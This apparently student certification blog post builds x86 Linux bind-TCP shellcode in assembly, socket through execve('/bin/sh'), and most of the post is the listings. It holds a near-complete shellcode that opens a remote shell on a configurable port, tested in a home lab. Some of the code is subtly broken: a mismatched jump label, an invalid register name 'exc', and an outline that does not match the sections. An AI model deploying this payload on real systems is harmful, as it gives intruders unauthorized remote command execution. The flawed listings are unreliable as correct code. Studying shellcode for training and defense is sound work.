This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git
SLAE Assignment #1 - Create a Shell_BIND_TCP Shellcode
- Binds to a port
- Execs Shell on incoming connection
- Port number should be easily configurable
~~~~~~~~~//*****//~~~~~~~~~
Creating a BIND_TCP shell can be broken down into 4 functions.
0x1 socket
0x2 connect
0x3 execve
0x4 accept
0x5 execve
... let us begin
0x1 - socket
First, we create a socket. socket() requires 3 arguments: domain, type, protocol as seen below.
domain = AF_INET or 0x2
type = SOCK_STREAM or 0x1
protocol = TCP or 0x6
We will also be using this net.h file when we invoke the syscalls which are the networking handling part of the kernel.
We push the following values in reverse order since the stack is accessed as Last-In-First-Out (LIFO)
push 0x6
push 0x1
push 0x2
Once the socket has been created, we then invoke the socketcall() syscall
xor eax, eax ;remove x00/NULL byte
mov al, 0x66 ;syscall 102 (x66) for socketcall
xor ebx, ebx ;remove x00/NULL byte
mov bl, 0x1 ;net.h SYS_SOCKET 1 (0x1)
xor ecx, ecx ;remove x00/NULL byte
mov ecx, esp ;arg 2, esp address to ecx
int 0x80 ;interrupt/excute
mov edi, eax ;sockfd, this will be referenced throughout the
0x2 -bind
One common concept in SLAE course is the use of JMP-CALL-POP which allows a way to dynamically access addresses. This is because if a call instruction is used, the next instruction is automatically loaded into the stack.
bind:
jmp short port_to_blind
call_bind:
pop esi ; pops ESP addr
xor eax, eax ;remove x00/NULL byte
push eax ;push eax NULL value to the stack
push word[esi] ;push actual port number to the stac, word=2 bytes
mov al, 0x2 ;AF_INET IPv4
push ax
mov edx, esp ;store stack addr (struct sockaddr)
push 0x10 ;store length addr on stack
push edx ;push strct sockaddr to the stack
push edi ;sockfd from the eax _start
xor eax, eax ;remove x00/NULL byte
mov al, 0x66 ;syscall 102 for socketcall
mov bl, 0x02 ;net.h SYS_BIND 2 (0x02)
mov ecx, esp ;arg for SYS_BIND
int 0x80 ;interrupt/execute
port_to_bind:
call call_bind
port_number dw 0x5d11 ;port 4445 (0x115d)
;this gets pushed to the stack after the call instruction
0x3 - listen
The listen() syscall is pretty straightforward.
push 0x1 ; int backlog
push edi ; sockfd from eax _start
xor eax, eax ;remove x00/NULL byte
mov al, 0x66 ;syscall 102 for socketcal
xor ebx, ebx ;remove x00/NULL byte
mov bl, 0x4 ;net.h SYS_LISTEN 4
xor ecx, ecx ;remove x00/NULL byte
mov ecx, esp ;arg for SYS_LISTEN
int 0x80 ;interrupt/execute
0x4 - accept
Likewise, accept() is pretty straight forward.
push eax ;push NULL value to addrlen
xor ebx, ebx ;remove x00/NULL byte
push ebx ;push NULL value to addr
push edi ;sockfd from eax _start
mov al, 0x66 ;syscall 102 for socketcall
mov bl, 0x5 ;net.h SYS_ACCEPT 5
xor ecx, ecx ;remove x00/NULL byte
mov ecx, esp ;arg for SYS_ACCEPT
int 0x80 ;interrupt/execute
0x4a - change_fd
This is all the dup2() functions which ensure file /bin/sh goes through the socket connection
mov ebx, eax ;moves fd from accept to ebx
xor ecx, ecx ;removes 0x00/NULL byte, 0 (std in)
xor eax, eax ;removes 0x00/NULL byte
mov al, 0x3f ;syscall 63 for dup2
int 0x80 ;interrupt/execute
mov al,0x3f ;syscall 63 for dup2
inc ecx ;+1 to ecx, 1 (std out)
int 0x80 ;interrupt/execute
mov al, 0x3f ;syscall 63 for dup2
inc ecx ;+1 to ecx, 2 (std error)
int 0x80 ;interrupt/execute
0x5 - execve
At this point we have successfully set-up our socket() and we can establish a bind() port, listen() on incoming connections and accept() it. We are now ready to run our execve(). Once the connection is established, execve will be used to execute /bin/sh.
The following instructions are taken directly from the execve module of the SLAE course.
xor eax, eax ;removes x00/NULL byte
push eax ;push first null dword
push 0x68732f2f ;hs//
push 0x6e69622f ;nib/
mov ebx, esp ;save stack pointer in ebx
push eax ; push null byte as 'null byte terminator'
mov edx, esp ;moves address of 0x00hs//nib/ into ecx
push ebx
mov exc, esp
mov al, 0xb ; syscall 11 for execve
int 0x80
And we are done!
Testing our bind shell.
We compile nasm file and execute it.Then using another machine (Kali), I connect to the ubuntu which spawns /bin/sh shell and we can run commands remotely.
BT IP: 192.168.199.128
Ubuntu IP: 192.168.199.129
We can also run the netstat command in the ubuntu machine to verify the established connection between the BT and Ubuntu machines:
Success..we can see the connection established.
Finally, we use objdump to obtain the shellcode from our executable
***Note the last 2 bytes of the shellcode is the port to bind on. Keeping in mind little-endian structure. We should be able to just change the last 2 bytes of the shellcode to configure a different port to bind on.
Here's an example of using the shellcode with a .c program
We compile shellcode.c, execute it and connect to 4445 from out BT machine.
SUCCESS!
Comments
Post a Comment